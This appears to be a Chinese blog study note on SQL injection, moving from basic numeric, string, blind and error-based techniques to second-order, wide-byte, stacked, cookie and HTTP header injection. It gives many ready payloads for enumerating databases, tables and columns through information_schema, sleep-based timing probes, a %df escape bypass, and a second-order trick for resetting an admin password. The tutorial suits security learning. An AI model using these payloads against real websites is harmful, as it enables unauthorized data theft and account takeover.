【SQL注入-基础与进阶】

最近在学习SQL注入,学来学去发现还停留在最基础的数字型、字符型、布尔盲注、报错注入这些,更深一点的二次注入、宽字节注入、cookie注入这些都不太了解。
准备写一个文档,把学习的过程写下来,也方便后续的一个增加和修改。

原理

SQL注入原理就是网站对用户的输入没有过滤和验证,或者说过滤和验证不严格不充分,攻击者利用这个漏洞构造恶意的SQL语句到后台数据库进行操作,导致数据泄露或服务不可用等危害。

分类

SQL注入根据参数的类型、回显结果、请求方法,可分为三大类。
根据参数的类型有数字型和字符型,字符型里面有细分很多种,有单引号、双引号、括号、百分号等。
根据是否回显,分为有信息回显的显注和无信息回显的盲注。显注和盲注里包括字符型和数字型,属于交集的状态,即一个SQL注入它既是字符型也是盲注,或是说即是数字型也是显注。
请求方法来区分的话,又分为GET型和POST型,GET型一般在URL处存在注入点,POST型一般在表单处存在注入点,还有接触的比较少的,在数据包的HTTP Header(请求头)里也可能存在SQL诸如点。

参数类型是否回显请求方法
数字型显注GET
字符型盲注POST

SQL基础版

数字型

数字型的SQL注入是最好判断的,一般用 and 后面跟一个成立条件和不成立条件,通过页面是否变化来判断是否存在数字型SQL注入。

and 1=1   #为真,正常页面
and 1=2   #为假,错误页面

字符型

字符型的SQL注入有好几种,常见的类型为以下几种:

'
"
(' ')
(" ")
'% %'
"% %"

判断方法,一般在参数值的后面加上可能的闭合字符去看页面的回显内容,如果出现错误提示是最好的。在页面出错以后,通过构造成对字符、注释掉后面多余的字符来进行参数的闭合,直到页面回显正常。

?id='1' --+'
?id="1" --+"
?id=('1') --+')
?id=("1") --+")
?id=%'1'% --+'%
?id=%"1"% --+"%

布尔盲注

布尔盲注在注入过程中没有SQL语句查询结果的回显,需要通过页面的变化(TRUE和FALSE)来逐个爆破字符串。
相比有内容回显的显注,盲注要比显著多出很多步骤,注入过程也更复杂,需要先求出各字符串的长度,然后将需要爆破的字符串逐个去截取,通过猜测截取字符的ASCII码值去爆破字符,若ASCII码值猜测正确,注入页面正常,若ASCII码值猜测不正确,注入页面报错。

#数据库长度
?id=1' and length(database())>? --+
#数据库名
?id=1' and ascii(substr((database()),1,1))>? --+
#所有表名的长度
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>? --+
#单个表名的长度
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))>? --+
#表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>? --+

......以此类推

limit 语句一般可用在对输出数据做了长度限制的地方,
limit 0,1 从第一张表/第一列开始,往后输出一张表/一列
limit 1,1 从第二张表/第二列开始,往后输出一张表/一列

时间盲注

时间盲注相比布尔盲注要复杂一些,因为在时间盲注的注入过程中,无法通过页面的变化来判断注入是否正确,而是通过页面加载的时间来判断。因为一直都是正常页面,页面加载的时间也不好计算,所以会比布尔盲注更麻烦。这里可以直接上sqlmap工具,也可以手工慢慢去注入,把时间稍微设置长些,便于我们观察注入是否正确。

#在这条SQL语句中,如果database()数据库的长度与我们猜测的值一样,执行第二天命令,立即返回正常页面;如果数据库长度判断错误,则执行第三天命令,页面响应sleep(5)五秒后报错。
#求数据库长度
?id=1' and if(length(database())=?,1,sleep(5))--+
#求数据库名
?id=1' and if(ascii(substr(database(),1,1))=?,1,sleep(5))--+
#求所有表名长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=?,1,sleep(5))--+
#求单个表名的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,1,sleep(5))--+
#求表名
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=?,1,sleep(5))--+

......以此类推

报错注入

报错注入是因为网站对错误信息没有进行正确处理时造成一种注入,属于显注一类。
在报错注入里有三个函数可以使用:extractvalue()、updatexml()、floor()
一般常用的两个函数是extractvalue()、updatexml(),但在做SQL注入时,因为MYSQL>5.0版本不支持对用户表同时进行查询和更新,所以手工注入到最后爆列名的时候无法执行,不知道大家是怎么解决这个问题的。
这里我在最后一步用的是工具。

#数据库名
?id=1' and select extractvalue(1,concat(0x7e,database()))--+
#表名
?id=1' and select extractvalue(1,concat(0x7e,select group_concat(table_name) from information_schema.tables where table_schema=database()))--+
#列名
?id=1' and select extractvalue(1,concat(0x7e,select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))--+
......以此类推

POST型注入

POST型一般为表单提交,不能直接在URL处进行注入,可以在抓包后将数据包发送到BP的重发器中,在提交的参数位置进行SQL注入。或者利用HackBar插件工具也可以。
POST型SQL注入在sqlmap工具中的命令和GET型略有区别,需要将我们数据包中抓到的参数也放入命令行。

GET型POST型
sqlmap -u “url”sqlmap -u “url” --data=“抓取的提交参数”

SQL进阶版

二次注入

二次注入相比普通的SQL注入,区别在于将已经存储到数据库中的数据再次取出,进行SQL语句的查询。因为需要用到已经存储的数据,所以需要自己控制输入的数据,便于后面二次查找时能够正确使用,在用户注册和找回密码的位置一般存在注入点。

注册:                                      username=admin'#     password=123
数据库中admin的密码:                        username=admin       password=123456
修改/找回密码:                              username=admin'#     password=111
修改完密码后,数据库中的admin账号的密码会被修改:username=admin       password=111

数据库中,账号的变化:
①admin’#账号注册:
在这里插入图片描述
②admin’#账号的密码修改
在这里插入图片描述
虽然在代码中,因为mysql_escape_string()函数对用户的数据使用 \ 做了转义,但转义的 \ 没有被插到到数据库中,且在二次使用这些数据时没有进行验证。
在这里插入图片描述
转义的含义:

转义是对某些有特殊意义的字符进行特殊的表示,使其在当前语境中保留原有含义,而不是作为控制字符或特殊符号使用。

也就是说,在用户注册的时候,admin’# 只是作为字符串输入到数据库中,它所包含的 ‘# 并不能作为闭合符与注释符。而在修改密码的过程中,因为没有对输出的数据进行验证,在输入admin’# 的用户名时,'# 作为闭合符和注释符,相关的SQL语句:

update users set password='111' where username='admin'#' and password='123456'

宽字节注入

宽字节注入主要由编码方式的不同造成;
PHP和Mysql数据库中使用的是GBK,GBK为汉字内码扩展规范,占两个字节;
函数执行添加的是ASCII,占一个字节。

宽字节注入的出现,是在网站对字符做了转义后,由于未考虑到不同编码之间占用字节的大小导致。在GBK中文编码中,中文一般由两个部分组成,即我们想要单字节的 \ 失效,只要再输入一个单字节与 \ 构成宽字节,也就是组成一个汉字后,原本用来做转义的 \ 就失去了转义的效果。

\ 在URL中表示%5c
%df+%5c组成宽字节后,变成了汉字“ 縗 ”

知道原理后,后续的注入过程与之前的几种注入并无区别,在闭合符前加一个%df即可:

#在引号的前面加上%df即可绕过\转义
#盲注
?id=1%df' and length(database())>?--+
#显注
?id=-1%df' union select 1,2,database() --+

堆叠注入

堆叠注入出现的情况极为少见,也很难利用。注入存在的原因是数据库可以同时执行多条SQL语句。

select * from users; show database();

虽然两条SQL语句用“ ; ”隔开,但可以同时执行。只要条件成立,能够使成堆的SQL语句同时被执行。堆叠注入成立的条件较为苛刻,包括:
1、API和数据库引擎要支持
2、权限足够高

cookie注入

cookie注入相比其它的SQL注入,区别只在于注入点的位置不同。
javascript:alert(document.cookie=“id=”+escape(“123”))

document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码。

进行cookie注入的前提条件是网站没有对cookie进行过滤。

注入的流程:
1】打开一个存在参数的动态网址
2】清空地址栏后,输入内容后回车:

javascript:alert(document.cookie="id="+escape("123")); 

3】新页面打开窗口,去掉参数后回车,发现可以正常访问
4】回到之前带参数的页面,输入内容后回车:

javascript:alert(document.cookie="id="+escape("123 and 1=1"));

5】回到网站主页,刷新看页面是否正常。
此处判断和之前的SQL注入一样,不过页面的变化不在参数位置,而是在参数页面对cookie做修改后,到无参数的页面查看。

javascript:alert(document.cookie="id="+escape("123 and 1=2"));

这里我们先从数字型开始判断,如果不是再尝试字符型,直到页面显示正常。
4】字段、回显点判断

#直接判断
javascript:alert(document.cookie="id="+escape("123 order by 1"));
#order by 被过滤
javascript:alert(document.cookie="id="+escape("123 union select 1,2,3..."));
#直到select 后的字段数猜测正确,页面正常

5】表名、列名、列值
后面的爆破与其它SQL注入并无区别,这里就省略不写了。

HTTP Header注入

请求头注入需要先抓取到网站的数据包,存在SQL注入需要以下条件:

能够对请求头消息进行修改
修改的请求头信息能够带入数据库执行
数据库没有对输入的请求头做过滤

请求头中可能存在的诸如点有:

Cookie
User-Agent
Referers
XFF

找到注入点后,后续的操作也同普通SQL注入一样。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值